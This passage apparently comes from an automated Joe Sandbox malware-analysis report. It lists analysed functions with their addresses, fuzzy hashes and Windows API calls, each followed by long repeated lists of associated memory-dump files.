Associated: 00000000.00000002.2058851143.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897121.0000000000C98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058918154.0000000000C99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408b14d15ea8fb43249cb28675d0bd054fad9cb5f417e213e0d05acce0436406
Instruction ID: 8c64c147b563ddb4654c1c0efea9554e8a297bd36be9ac00e06f8acaea8ea1a4
Opcode Fuzzy Hash: 408b14d15ea8fb43249cb28675d0bd054fad9cb5f417e213e0d05acce0436406
Instruction Fuzzy Hash: 7041DE34A09300ABD714DB15E894F2BF7EAEB85714F64882CF58A87251D331EC00DB63

Function 009C00D0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.2057947422.0000000000980000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057997382.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058015115.00000000009EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058112831.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058127142.0000000000B4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058176443.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058189750.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058203785.0000000000B87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058216233.0000000000B88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058228522.0000000000B89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058241274.0000000000B8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058253535.0000000000B8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058266220.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058280652.0000000000B98000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058293619.0000000000B99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058307996.0000000000BA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058322956.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058335698.0000000000BB2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058348411.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058364247.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058377490.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058394864.0000000000BCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058408037.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058420591.0000000000BD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058434889.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058449175.0000000000BD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058463073.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058475733.0000000000BDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058491758.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058507352.0000000000BEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058520291.0000000000BEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058535672.0000000000BF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058552838.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058570169.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058584265.0000000000BF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058599241.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058614835.0000000000C02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058632286.0000000000C09000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058648312.0000000000C0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058665140.0000000000C0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058680661.0000000000C13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700767.0000000000C2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058714999.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058740983.0000000000C2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058800807.0000000000C6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058814719.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058834107.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058851143.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897121.0000000000C98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058918154.0000000000C99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49cbf2ed76a800fa5fc6030ff0b6c9ff89f1af1789fe71090c89ca86ff5befe9
Instruction ID: d5a95c70c581a3ae558700accb43385fcc416dbc361bbb6b50975a0bccf756e6
Opcode Fuzzy Hash: 49cbf2ed76a800fa5fc6030ff0b6c9ff89f1af1789fe71090c89ca86ff5befe9
Instruction Fuzzy Hash: 7221DB32D0C3548FC7195E299891B2EF7D2DBC5320F1E893EE9A64B381D5399D409393

Function 00990EEC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.2057947422.0000000000980000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057997382.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058015115.00000000009EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058112831.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058127142.0000000000B4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058176443.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058189750.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058203785.0000000000B87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058216233.0000000000B88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058228522.0000000000B89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058241274.0000000000B8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058253535.0000000000B8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058266220.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058280652.0000000000B98000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058293619.0000000000B99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058307996.0000000000BA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058322956.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058335698.0000000000BB2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058348411.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058364247.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058377490.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058394864.0000000000BCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058408037.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058420591.0000000000BD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058434889.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058449175.0000000000BD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058463073.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058475733.0000000000BDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058491758.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058507352.0000000000BEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058520291.0000000000BEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058535672.0000000000BF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058552838.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058570169.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058584265.0000000000BF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058599241.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058614835.0000000000C02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058632286.0000000000C09000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058648312.0000000000C0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058665140.0000000000C0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058680661.0000000000C13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700767.0000000000C2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058714999.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058740983.0000000000C2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058800807.0000000000C6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058814719.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058834107.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058851143.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897121.0000000000C98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058918154.0000000000C99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7670352ba0e72350d272dce5b54dd7ea8c83bb902536a8891d96f48d94e82385
Instruction ID: dd4cb15b74d175e8035c30c3280e59d256cdf8349a517920ea137d57c10a5654
Opcode Fuzzy Hash: 7670352ba0e72350d272dce5b54dd7ea8c83bb902536a8891d96f48d94e82385
Instruction Fuzzy Hash: 81212AB590521A9FDF15CF98CC90BBEBBB6FB46304F144819E411BB292C735A901CF64

Function 009C3220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 009C32A6

Memory Dump Source

Source File: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.2057947422.0000000000980000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057997382.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058015115.00000000009EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058112831.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058127142.0000000000B4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058176443.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058189750.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058203785.0000000000B87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058216233.0000000000B88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058228522.0000000000B89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058241274.0000000000B8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058253535.0000000000B8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058266220.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058280652.0000000000B98000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058293619.0000000000B99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058307996.0000000000BA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058322956.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058335698.0000000000BB2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058348411.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058364247.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058377490.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058394864.0000000000BCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058408037.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058420591.0000000000BD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058434889.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058449175.0000000000BD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058463073.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058475733.0000000000BDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058491758.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058507352.0000000000BEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058520291.0000000000BEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058535672.0000000000BF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058552838.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058570169.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058584265.0000000000BF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058599241.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058614835.0000000000C02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058632286.0000000000C09000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058648312.0000000000C0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058665140.0000000000C0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058680661.0000000000C13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700767.0000000000C2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058714999.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058740983.0000000000C2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058800807.0000000000C6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058814719.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058834107.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058851143.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897121.0000000000C98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058918154.0000000000C99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_file.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3fc08961f434838595296b73097521d3f46397bb62fd5665bb24010eb04bba55
Instruction ID: 627e992e9347da70e88f56ecb8cafdae5663ef9d32cdbe493f8e537d5bc6ce87
Opcode Fuzzy Hash: 3fc08961f434838595296b73097521d3f46397bb62fd5665bb24010eb04bba55
Instruction Fuzzy Hash: 43018B3094E2409BC700AB18E844E1ABBE8EF4A700F45891CE4C48B321D235DC60DB93

Function 009C5BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(009C98C0,005C003F,00000002,00000018,?), ref: 009C5BDE

Memory Dump Source

Source File: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.2057947422.0000000000980000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057997382.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058015115.00000000009EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058112831.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058127142.0000000000B4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058176443.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058189750.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058203785.0000000000B87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058216233.0000000000B88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058228522.0000000000B89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058241274.0000000000B8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058253535.0000000000B8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058266220.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058280652.0000000000B98000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058293619.0000000000B99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058307996.0000000000BA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058322956.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058335698.0000000000BB2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058348411.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058364247.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058377490.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058394864.0000000000BCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058408037.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058420591.0000000000BD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058434889.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058449175.0000000000BD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058463073.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058475733.0000000000BDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058491758.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058507352.0000000000BEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058520291.0000000000BEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058535672.0000000000BF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058552838.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058570169.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058584265.0000000000BF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058599241.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058614835.0000000000C02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058632286.0000000000C09000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058648312.0000000000C0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058665140.0000000000C0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058680661.0000000000C13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700767.0000000000C2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058714999.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058740983.0000000000C2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058800807.0000000000C6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058814719.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058834107.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058851143.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897121.0000000000C98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058918154.0000000000C99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 00992F6F Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00992F82

Memory Dump Source

Source File: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.2057947422.0000000000980000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057997382.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058015115.00000000009EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058112831.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058127142.0000000000B4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058176443.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058189750.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058203785.0000000000B87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058216233.0000000000B88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058228522.0000000000B89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058241274.0000000000B8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058253535.0000000000B8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058266220.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058280652.0000000000B98000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058293619.0000000000B99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058307996.0000000000BA2000.00000080.00000001.01000000.00000003.sdmpDownload File
